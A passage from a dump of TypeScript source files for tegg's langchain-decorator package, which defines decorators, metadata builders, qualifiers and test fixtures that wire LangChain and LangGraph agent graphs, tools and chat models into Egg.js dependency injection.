    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { BoundModelMetadata } from '../model/BoundModelMetadata.ts';\nimport { BoundModelInfoUtil } from '../util/BoundModelInfoUtil.ts';\n\nexport class BoundModelMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): BoundModelMetadata | undefined {\n    const metadata = BoundModelInfoUtil.getBoundModelMetadata(this.clazz);\n    if (metadata) {\n      return new BoundModelMetadata(metadata);\n    }\n  }\n\n  static create(clazz: EggProtoImplClass): BoundModelMetaBuilder {\n    return new BoundModelMetaBuilder(clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/builder/GraphEdgeMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { GraphEdgeMetadata } from '../model/GraphEdgeMetadata.ts';\nimport { GraphEdgeInfoUtil } from '../util/GraphEdgeInfoUtil.ts';\n\nexport class GraphEdgeMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): GraphEdgeMetadata | undefined {\n    const metadata = GraphEdgeInfoUtil.getGraphEdgeMetadata(this.clazz);\n    if (metadata) {\n      return new GraphEdgeMetadata(metadata);\n    }\n  }\n\n  static create(clazz: EggProtoImplClass): GraphEdgeMetaBuilder {\n    return new GraphEdgeMetaBuilder(clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/builder/GraphMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { GraphMetadata } from '../model/GraphMetadata.ts';\nimport { GraphInfoUtil } from '../util/GraphInfoUtil.ts';\n\nexport class GraphMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): GraphMetadata | undefined {\n    const metadata = GraphInfoUtil.getGraphMetadata(this.clazz);\n    if (metadata) {\n      return new GraphMetadata(metadata);\n    }\n  }\n\n  static create(clazz: EggProtoImplClass): GraphMetaBuilder {\n    return new GraphMetaBuilder(clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/builder/GraphNodeMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { GraphNodeMetadata } from '../model/GraphNodeMetadata.ts';\nimport { GraphNodeInfoUtil } from '../util/GraphNodeInfoUtil.ts';\n\nexport class GraphNodeMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): GraphNodeMetadata | undefined {\n    const metadata = GraphNodeInfoUtil.getGraphNodeMetadata(this.clazz);\n    if (metadata) {\n      return new GraphNodeMetadata(metadata);\n    }\n  }\n\n  static create(clazz: EggProtoImplClass): GraphNodeMetaBuilder {\n    return new GraphNodeMetaBuilder(clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/builder/GraphToolMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { GraphToolMetadata } from '../model/GraphToolMetadata.ts';\nimport { GraphToolInfoUtil } from '../util/GraphToolInfoUtil.ts';\n\nexport class GraphToolMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): GraphToolMetadata | undefined {\n    const metadata = GraphToolInfoUtil.getGraphToolMetadata(this.clazz);\n    if (metadata) {\n      return new GraphToolMetadata(metadata);\n    }\n  }\n\n  static create(clazz: EggProtoImplClass): GraphToolMetaBuilder {\n    return new GraphToolMetaBuilder(clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/decorator/BoundModel.ts",
    "content": "import { SingletonProto, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { BaseChatOpenAI } from '@langchain/openai';\nimport type { ChatOpenAICallOptions } from '@langchain/openai';\n\nimport type { IBoundModelMetadata } from '../model/BoundModelMetadata.ts';\nimport { BoundModelInfoUtil } from '../util/BoundModelInfoUtil.ts';\n\nexport function BoundModel(params: IBoundModelMetadata): (constructor: EggProtoImplClass) => void {\n  return (constructor: EggProtoImplClass): void => {\n    const func = SingletonProto({\n      accessLevel: params?.accessLevel ?? AccessLevel.PUBLIC,\n      name: params?.name,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    BoundModelInfoUtil.setBoundModelMetadata(params, constructor);\n  };\n}\n\ntype BaseChatModel<T extends ChatOpenAICallOptions = ChatOpenAICallOptions> =\n  InstanceType<typeof BaseChatOpenAI<T>> extends infer C ? C : never;\n\nexport type TeggBoundModel<S, CallOptions extends ChatOpenAICallOptions = ChatOpenAICallOptions> = S &\n  ReturnType<NonNullable<BaseChatModel<CallOptions>['bindTools']>>;\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/decorator/Graph.ts",
    "content": "import { SingletonProto, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { StateGraph } from '@langchain/langgraph';\nimport type { AnnotationRoot, CompiledStateGraph, StateDefinition, StateType, UpdateType } from '@langchain/langgraph';\n\nimport type { IGraphMetadata } from '../model/GraphMetadata.ts';\nimport { GraphInfoUtil } from '../util/GraphInfoUtil.ts';\nexport function Graph<N extends string = '', S extends StateDefinition = StateDefinition>(\n  params: IGraphMetadata,\n): (constructor: EggProtoImplClass<AbstractStateGraph<N, S>>) => void {\n  return (constructor: EggProtoImplClass<AbstractStateGraph<N, S>>): void => {\n    const func = SingletonProto({\n      accessLevel: params?.accessLevel ?? AccessLevel.PUBLIC,\n      name: params?.name,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    GraphInfoUtil.setGraphMetadata(params, constructor);\n  };\n}\n\nexport interface IGraph<N extends string = '', S extends StateDefinition = StateDefinition> extends StateGraph<\n  S,\n  AnnotationRoot<S>['State'],\n  UpdateType<S>,\n  N\n> {\n  build?(): Promise<\n    | CompiledStateGraph<\n        StateType<StateDefinition>,\n        UpdateType<StateDefinition>,\n        string,\n        StateDefinition,\n        StateDefinition,\n        StateDefinition\n      >\n    | undefined\n  >;\n}\n\nexport abstract class AbstractStateGraph<N extends string = '', S extends StateDefinition = StateDefinition>\n  extends StateGraph<S, AnnotationRoot<S>['State'], UpdateType<S>, N>\n  implements IGraph<N, S>\n{\n  // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n  // @ts-ignore\n  private _names: N;\n\n  // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n  // @ts-ignore\n  private _state: S;\n}\n\nexport type TeggCompiledStateGraph<G> =\n  G extends AbstractStateGraph<infer N extends string, infer S extends StateDefinition>\n    ? CompiledStateGraph<StateType<S>, UpdateType<S>, N, S, S>\n    : never;\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/decorator/GraphEdge.ts",
    "content": "import { SingletonProto, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport type { AnnotationRoot, StateDefinition, UpdateType } from '@langchain/langgraph';\n\nimport type { IGraphEdgeMetadata } from '../model/GraphEdgeMetadata.ts';\nimport { GraphEdgeInfoUtil } from '../util/GraphEdgeInfoUtil.ts';\n\n/**\n * @description GraphEdge decorator\n * @param {IGraphEdgeMetadata} params\n * @example\n * ```ts\n * @GraphEdge({\n *   fromNodeName: 'start', // 标记启动点，如果只有 fromNodeName 和 toNodeNames，那么就是单向边\n *   toNodeNames: ['end'], // 标记结束点，可以是多个，多个的时候就必须要实现 execute\n * })\n * ```\n * @return {Function}\n */\nexport function GraphEdge<S extends StateDefinition = StateDefinition, N extends string = '__start__' | '__end__'>(\n  params: IGraphEdgeMetadata,\n): (constructor: EggProtoImplClass<IGraphEdge<S, N>>) => void {\n  return (constructor: EggProtoImplClass<IGraphEdge<S, N>>): void => {\n    const func = SingletonProto({\n      accessLevel: params?.accessLevel ?? AccessLevel.PUBLIC,\n      name: params?.name,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    GraphEdgeInfoUtil.setGraphEdgeMetadata(params, constructor);\n  };\n}\n\nexport type GraphStateType<A extends StateDefinition = StateDefinition> = AnnotationRoot<A>['State'];\n\nexport type GraphUpdateType<A extends StateDefinition = StateDefinition> = UpdateType<A>;\n\nexport interface IGraphEdge<S extends StateDefinition = StateDefinition, N extends string = '__start__' | '__end__'> {\n  execute?(state: AnnotationRoot<S>['State']): Promise<N | N[]>;\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/decorator/GraphNode.ts",
    "content": "import { SingletonProto, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { StateGraph } from '@langchain/langgraph';\nimport type { AnnotationRoot, Runtime, StateDefinition, UpdateType } from '@langchain/langgraph';\nimport { ToolNode } from '@langchain/langgraph/prebuilt';\nimport { BaseChatOpenAI } from '@langchain/openai';\nimport { ConfigurableModel } from 'langchain/chat_models/universal';\n\nimport type { IGraphNodeMetadata } from '../model/GraphNodeMetadata.ts';\nimport { GraphNodeInfoUtil } from '../util/GraphNodeInfoUtil.ts';\n\nexport function GraphNode<S extends StateDefinition = StateDefinition>(\n  params: IGraphNodeMetadata,\n): (constructor: EggProtoImplClass<IGraphNode<S> | TeggToolNode>) => void {\n  return (constructor: EggProtoImplClass<IGraphNode<S> | TeggToolNode>): void => {\n    const func = SingletonProto({\n      accessLevel: params?.accessLevel ?? AccessLevel.PUBLIC,\n      name: params?.name,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    GraphNodeInfoUtil.setGraphNodeMetadata(params, constructor);\n  };\n}\n\nexport type StateGraphAddNodeOptions = Parameters<(typeof StateGraph)['prototype']['addNode']>[2];\n\nexport type GraphRuntime<ContextType = Record<string, unknown>, InterruptType = any, WriterType = any> = Runtime<\n  ContextType,\n  InterruptType,\n  WriterType\n>;\n\nexport interface IGraphNode<S extends StateDefinition = StateDefinition, T = any> {\n  options?: StateGraphAddNodeOptions;\n  execute(\n    state: AnnotationRoot<S>['State'],\n    options?: GraphRuntime,\n  ): Promise<UpdateType<S> & Record<string, any>> | Promise<ToolNode<T>>;\n  build?: (\n    tools: Parameters<ConfigurableModel['bindTools']>['0'],\n  ) => Promise<ReturnType<ConfigurableModel['bindTools']> | ReturnType<BaseChatOpenAI<any>['bindTools']>>;\n}\n\nexport class TeggToolNode implements IGraphNode {\n  toolNode: ToolNode;\n\n  async execute(): Promise<ToolNode> {\n    return this.toolNode;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/decorator/GraphTool.ts",
    "content": "import { SingletonProto, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { DynamicStructuredTool } from '@langchain/core/tools';\nimport type { ToolSchemaBase } from '@langchain/core/tools';\n\nimport type { IGraphToolMetadata } from '../model/GraphToolMetadata.ts';\nimport { GraphToolInfoUtil } from '../util/GraphToolInfoUtil.ts';\n\nexport function GraphTool<ToolSchema = ToolSchemaBase>(\n  params: IGraphToolMetadata,\n): (constructor: EggProtoImplClass<IGraphTool<ToolSchema>>) => void {\n  return (constructor: EggProtoImplClass<IGraphTool<ToolSchema>>): void => {\n    const func = SingletonProto({\n      accessLevel: params?.accessLevel ?? AccessLevel.PUBLIC,\n      name: params?.name,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    GraphToolInfoUtil.setGraphToolMetadata(params, constructor);\n  };\n}\n\nexport interface IGraphTool<ToolSchema = ToolSchemaBase> {\n  execute: DynamicStructuredTool<ToolSchema>['func'];\n}\n\nexport type IGraphStructuredTool<T extends IGraphTool> = DynamicStructuredTool<Parameters<T['execute']>[0]>;\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/index.ts",
    "content": "export * from './builder/BoundModelMetaBuilder.ts';\nexport * from './builder/GraphEdgeMetaBuilder.ts';\nexport * from './builder/GraphMetaBuilder.ts';\nexport * from './builder/GraphNodeMetaBuilder.ts';\nexport * from './builder/GraphToolMetaBuilder.ts';\n\nexport * from './decorator/BoundModel.ts';\nexport * from './decorator/Graph.ts';\nexport * from './decorator/GraphEdge.ts';\nexport * from './decorator/GraphNode.ts';\nexport * from './decorator/GraphTool.ts';\n\nexport * from './model/BoundModelMetadata.ts';\nexport * from './model/GraphEdgeMetadata.ts';\nexport * from './model/GraphMetadata.ts';\nexport * from './model/GraphNodeMetadata.ts';\nexport * from './model/GraphToolMetadata.ts';\n\nexport * from './util/BoundModelInfoUtil.ts';\nexport * from './util/GraphEdgeInfoUtil.ts';\nexport * from './util/GraphInfoUtil.ts';\nexport * from './util/GraphNodeInfoUtil.ts';\nexport * from './util/GraphToolInfoUtil.ts';\n\nexport * from './qualifier/ChatModelQualifier.ts';\nexport * from './qualifier/ChatCheckpointSaverQualifier.ts';\nexport * from './type/metadataKey.ts';\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/model/BoundModelMetadata.ts",
    "content": "import type { EggProtoImplClass, SingletonProtoParams } from '@eggjs/tegg-types';\n\nexport interface IBoundModelMetadata extends SingletonProtoParams {\n  modelName: string;\n  tools?: EggProtoImplClass[];\n  mcpServers?: string[];\n}\n\nexport class BoundModelMetadata {\n  modelName: string;\n  tools?: EggProtoImplClass[];\n  mcpServers?: string[];\n\n  constructor(params: IBoundModelMetadata) {\n    this.modelName = params.modelName;\n    this.tools = params.tools;\n    this.mcpServers = params.mcpServers;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/model/GraphEdgeMetadata.ts",
    "content": "import type { SingletonProtoParams } from '@eggjs/tegg-types';\n\nexport interface IGraphEdgeMetadata extends SingletonProtoParams {\n  fromNodeName: string;\n  toNodeNames: string[];\n}\n\nexport class GraphEdgeMetadata {\n  fromNodeName: string;\n  toNodeNames: string[];\n\n  constructor(params: IGraphEdgeMetadata) {\n    this.fromNodeName = params.fromNodeName;\n    this.toNodeNames = params.toNodeNames;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/model/GraphMetadata.ts",
    "content": "import type { SingletonProtoParams, EggProtoImplClass } from '@eggjs/tegg-types';\nimport { BaseCheckpointSaver } from '@langchain/langgraph';\n\nexport interface IGraphMetadata extends SingletonProtoParams {\n  nodes?: EggProtoImplClass[];\n  edges?: EggProtoImplClass[];\n  checkpoint?: EggProtoImplClass<BaseCheckpointSaver> | string;\n}\n\nexport class GraphMetadata implements IGraphMetadata {\n  nodes?: EggProtoImplClass[];\n  edges?: EggProtoImplClass[];\n  checkpoint?: EggProtoImplClass<BaseCheckpointSaver> | string;\n\n  constructor(params: IGraphMetadata) {\n    this.nodes = params.nodes;\n    this.edges = params.edges;\n    this.checkpoint = params.checkpoint;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/model/GraphNodeMetadata.ts",
    "content": "import type { SingletonProtoParams, EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport interface IGraphNodeMetadata extends SingletonProtoParams {\n  nodeName: string;\n  tools?: EggProtoImplClass[];\n  mcpServers?: string[];\n}\n\nexport class GraphNodeMetadata {\n  nodeName: string;\n  tools?: EggProtoImplClass[];\n  mcpServers?: string[];\n\n  constructor(params: IGraphNodeMetadata) {\n    this.nodeName = params.nodeName;\n    this.tools = params.tools;\n    this.mcpServers = params.mcpServers;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/model/GraphToolMetadata.ts",
    "content": "import type { SingletonProtoParams } from '@eggjs/tegg-types';\n\nexport interface IGraphToolMetadata extends SingletonProtoParams {\n  toolName: string;\n  description: string;\n  // schema: Parameters<McpServer['tool']>['2'];\n}\n\nexport class GraphToolMetadata implements IGraphToolMetadata {\n  toolName: string = '';\n  description: string = '';\n\n  constructor(params: IGraphToolMetadata) {\n    Object.assign(this, params);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/qualifier/ChatCheckpointSaverQualifier.ts",
    "content": "import { QualifierUtil } from '@eggjs/core-decorator';\n\nexport const ChatCheckpointSaverQualifierAttribute: symbol = Symbol.for('Qualifier.ChatCheckpointSaver');\nexport const ChatCheckpointSaverInjectName = 'chatCheckpointSaver';\n\nexport function ChatCheckpointSaverQualifier(\n  chatCheckpointSaverName: string,\n): (target: any, propertyKey?: PropertyKey, parameterIndex?: number) => void {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(\n      target,\n      propertyKey,\n      parameterIndex,\n      ChatCheckpointSaverQualifierAttribute,\n      chatCheckpointSaverName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/qualifier/ChatModelQualifier.ts",
    "content": "import { QualifierUtil } from '@eggjs/core-decorator';\n\nexport const ChatModelQualifierAttribute: symbol = Symbol.for('Qualifier.ChatModel');\nexport const ChatModelInjectName = 'chatModel';\n\nexport function ChatModelQualifier(\n  chatModelName: string,\n): (target: any, propertyKey?: PropertyKey, parameterIndex?: number) => void {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(target, propertyKey, parameterIndex, ChatModelQualifierAttribute, chatModelName);\n  };\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/type/metadataKey.ts",
    "content": "export const GRAPH_TOOL_METADATA: symbol = Symbol.for('EggPrototype#graph#tool#metadata');\nexport const GRAPH_EDGE_METADATA: symbol = Symbol.for('EggPrototype#graph#edge#metadata');\nexport const GRAPH_NODE_METADATA: symbol = Symbol.for('EggPrototype#graph#node#metadata');\nexport const GRAPH_GRAPH_METADATA: symbol = Symbol.for('EggPrototype#graph#graph#metadata');\nexport const PROMPT_KEY_METADATA: symbol = Symbol.for('EggPrototype#prompt#key#metadata');\nexport const BOUND_MODEL_METADATA: symbol = Symbol.for('EggPrototype#bound#model#metadata');\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/BoundModelInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { IBoundModelMetadata } from '../model/BoundModelMetadata.ts';\nimport { BOUND_MODEL_METADATA } from '../type/metadataKey.ts';\n\nexport class BoundModelInfoUtil {\n  static setBoundModelMetadata(metadata: IBoundModelMetadata, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(BOUND_MODEL_METADATA, metadata, clazz);\n  }\n\n  static getBoundModelMetadata(clazz: EggProtoImplClass): IBoundModelMetadata | undefined {\n    return MetadataUtil.getMetaData(BOUND_MODEL_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/GraphEdgeInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { IGraphEdgeMetadata } from '../model/GraphEdgeMetadata.ts';\nimport { GRAPH_EDGE_METADATA } from '../type/metadataKey.ts';\n\nexport class GraphEdgeInfoUtil {\n  static setGraphEdgeMetadata(metadata: IGraphEdgeMetadata, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(GRAPH_EDGE_METADATA, metadata, clazz);\n  }\n\n  static getGraphEdgeMetadata(clazz: EggProtoImplClass): IGraphEdgeMetadata | undefined {\n    return MetadataUtil.getMetaData(GRAPH_EDGE_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/GraphInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { IGraphMetadata } from '../model/GraphMetadata.ts';\nimport { GRAPH_GRAPH_METADATA } from '../type/metadataKey.ts';\n\nexport class GraphInfoUtil {\n  static graphMap: Map<EggProtoImplClass, IGraphMetadata> = new Map<EggProtoImplClass, IGraphMetadata>();\n\n  static setGraphMetadata(metadata: IGraphMetadata, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(GRAPH_GRAPH_METADATA, metadata, clazz);\n    GraphInfoUtil.graphMap.set(clazz, metadata);\n  }\n\n  static getGraphMetadata(clazz: EggProtoImplClass): IGraphMetadata | undefined {\n    return MetadataUtil.getMetaData(GRAPH_GRAPH_METADATA, clazz);\n  }\n\n  static getAllGraphMetadata(): Map<EggProtoImplClass, IGraphMetadata> {\n    return GraphInfoUtil.graphMap;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/GraphNodeInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { IGraphNodeMetadata } from '../model/GraphNodeMetadata.ts';\nimport { GRAPH_NODE_METADATA } from '../type/metadataKey.ts';\n\nexport class GraphNodeInfoUtil {\n  static setGraphNodeMetadata(metadata: IGraphNodeMetadata, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(GRAPH_NODE_METADATA, metadata, clazz);\n  }\n\n  static getGraphNodeMetadata(clazz: EggProtoImplClass): IGraphNodeMetadata | undefined {\n    return MetadataUtil.getMetaData(GRAPH_NODE_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/GraphToolInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { IGraphToolMetadata } from '../model/GraphToolMetadata.ts';\nimport { GRAPH_TOOL_METADATA } from '../type/metadataKey.ts';\n\nexport class GraphToolInfoUtil {\n  static graphToolMap: Map<EggProtoImplClass, IGraphToolMetadata> = new Map<EggProtoImplClass, IGraphToolMetadata>();\n  static setGraphToolMetadata(metadata: IGraphToolMetadata, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(GRAPH_TOOL_METADATA, metadata, clazz);\n    GraphToolInfoUtil.graphToolMap.set(clazz, metadata);\n  }\n\n  static getGraphToolMetadata(clazz: EggProtoImplClass): IGraphToolMetadata | undefined {\n    return MetadataUtil.getMetaData(GRAPH_TOOL_METADATA, clazz);\n  }\n\n  static getAllGraphToolMetadata(): Map<EggProtoImplClass, IGraphToolMetadata> {\n    return GraphToolInfoUtil.graphToolMap;\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/util/index.ts",
    "content": "export * from './GraphEdgeInfoUtil.ts';\nexport * from './GraphInfoUtil.ts';\nexport * from './GraphNodeInfoUtil.ts';\nexport * from './GraphToolInfoUtil.ts';\nexport * from './BoundModelInfoUtil.ts';\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/fixtures/modules/langchain/index.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { ChatOpenAI } from '@langchain/openai';\n\nimport { ChatModelQualifier } from '../../../../src/index.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Foo {\n  @Inject()\n  @ChatModelQualifier('chat')\n  chatModel: ChatOpenAI;\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/fixtures/modules/langchain/package.json",
    "content": "{\n  \"name\": \"langchain\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"langchain\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/fixtures/modules/langgraph/Graph.ts",
    "content": "import { ToolArgsSchema } from '@eggjs/controller-decorator';\nimport { Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport { BaseMessage } from '@langchain/core/messages';\nimport { AIMessage } from '@langchain/core/messages';\nimport { Annotation, MemorySaver } from '@langchain/langgraph';\nimport { ChatOpenAI } from '@langchain/openai';\nimport * as z from 'zod';\n\nimport {\n  Graph,\n  GraphEdge,\n  AbstractStateGraph,\n  GraphNode,\n  GraphTool,\n  ChatModelQualifier,\n  TeggToolNode,\n  BoundModel,\n} from '../../../../src/index.ts';\nimport type {\n  IGraphEdge,\n  IGraphNode,\n  GraphStateType,\n  IGraphTool,\n  TeggCompiledStateGraph,\n  TeggBoundModel,\n} from '../../../../src/index.ts';\n\nexport const FooGraphNodeName = {\n  START: '__start__',\n  END: '__end__',\n  ACTION: 'action',\n  TOOLS: 'tools',\n  AGENT: 'agent',\n  NODE_A: 'a',\n  NODE_B: 'b',\n  NODE_C: 'c',\n  NODE_D: 'd',\n} as const;\nexport type FooGraphNodeName = (typeof FooGraphNodeName)[keyof typeof FooGraphNodeName];\n\n@SingletonProto()\nexport class FooSaver extends MemorySaver {}\n\n// state\nexport const fooAnnotationStateDefinition = {\n  messages: Annotation<BaseMessage[]>({\n    reducer: (x, y) => x.concat(y),\n  }),\n  aggregate: Annotation<string[]>({\n    reducer: (x, y) => x.concat(y),\n  }),\n};\n\nexport type FooAnnotationStateDefinition = typeof fooAnnotationStateDefinition;\n\nexport const ToolType = {\n  query: z.string().describe('npm package name'),\n};\n\n@GraphTool({\n  toolName: 'foo',\n  description: 'Call the foo tool',\n})\nexport class FooTool implements IGraphTool {\n  async execute(@ToolArgsSchema(ToolType as any) args: { query: string }) {\n    console.log('query: ', args.query);\n    return \"It's sunny in San Francisco, but you better look out if you're a Gemini 😈.\";\n  }\n}\n\n@BoundModel({\n  modelName: 'chat',\n  tools: [FooTool],\n  mcpServers: ['fooMcpServer'],\n})\nexport class FooChatModel {}\n\n@GraphNode({\n  nodeName: FooGraphNodeName.TOOLS,\n  tools: [FooTool],\n  mcpServers: ['fooMcpServer'],\n})\nexport class ToolNode extends TeggToolNode {}\n\n@GraphNode({\n  nodeName: FooGraphNodeName.ACTION,\n  tools: [FooTool],\n  mcpServers: ['fooMcpServer'],\n})\nexport class FooNode implements IGraphNode<FooAnnotationStateDefinition> {\n  @Inject()\n  @ChatModelQualifier('chat')\n  chatModel: ChatOpenAI;\n\n  async execute(state: GraphStateType<FooAnnotationStateDefinition>) {\n    console.log('start call model');\n    const response = await this.chatModel.invoke(state.messages);\n    console.log('response: ', response);\n    return { messages: [response] };\n  }\n}\n\n@GraphEdge({\n  fromNodeName: FooGraphNodeName.ACTION,\n  toNodeNames: [FooGraphNodeName.END, FooGraphNodeName.ACTION],\n})\nexport class FooContinueEdge implements IGraphEdge<FooAnnotationStateDefinition, FooGraphNodeName> {\n  async execute(state: GraphStateType<FooAnnotationStateDefinition>): Promise<FooGraphNodeName> {\n    const lastMessage = state.messages[state.messages.length - 1];\n    if (lastMessage && !(lastMessage as AIMessage).tool_calls?.length) {\n      return FooGraphNodeName.END;\n    }\n    return FooGraphNodeName.ACTION;\n  }\n}\n\n@Graph({\n  accessLevel: AccessLevel.PUBLIC,\n  nodes: [FooNode],\n  edges: [FooContinueEdge],\n  checkpoint: FooSaver,\n})\nexport class FooGraph extends AbstractStateGraph<FooGraphNodeName, typeof fooAnnotationStateDefinition> {\n  constructor() {\n    super(fooAnnotationStateDefinition);\n  }\n}\n\n// 手动挡\n@GraphNode({\n  nodeName: FooGraphNodeName.ACTION,\n})\nexport class BarNode implements IGraphNode<FooAnnotationStateDefinition> {\n  @Inject()\n  @ChatModelQualifier('chat')\n  chatModel: ChatOpenAI;\n\n  @Inject()\n  fooTool: FooTool;\n\n  async execute(state: GraphStateType<FooAnnotationStateDefinition>) {\n    console.log('start call model');\n    const response = await this.chatModel.invoke(state.messages);\n    console.log('response: ', response);\n    return { messages: [response] };\n  }\n\n  async build() {\n    return this.chatModel.bindTools([this.fooTool]);\n  }\n}\n\n@Graph({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class BarGraph extends AbstractStateGraph<FooGraphNodeName, FooAnnotationStateDefinition> {\n  @Inject()\n  fooSaver: FooSaver;\n\n  @Inject()\n  fooContinueEdge: FooContinueEdge;\n\n  @Inject()\n  barNode: BarNode;\n\n  @Inject()\n  fooChatModel: TeggBoundModel<FooChatModel>;\n\n  constructor() {\n    super(fooAnnotationStateDefinition);\n  }\n\n  async build() {\n    this.addNode(FooGraphNodeName.ACTION, this.barNode.execute);\n    this.addConditionalEdges(FooGraphNodeName.ACTION, this.fooContinueEdge.execute);\n    return this.compile({ checkpointer: this.fooSaver });\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooService {\n  @Inject()\n  fooGraph: TeggCompiledStateGraph<FooGraph>;\n\n  async blablabla() {\n    await this.fooGraph.invoke({\n      messages: [],\n      aggregate: [],\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/fixtures/modules/langgraph/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
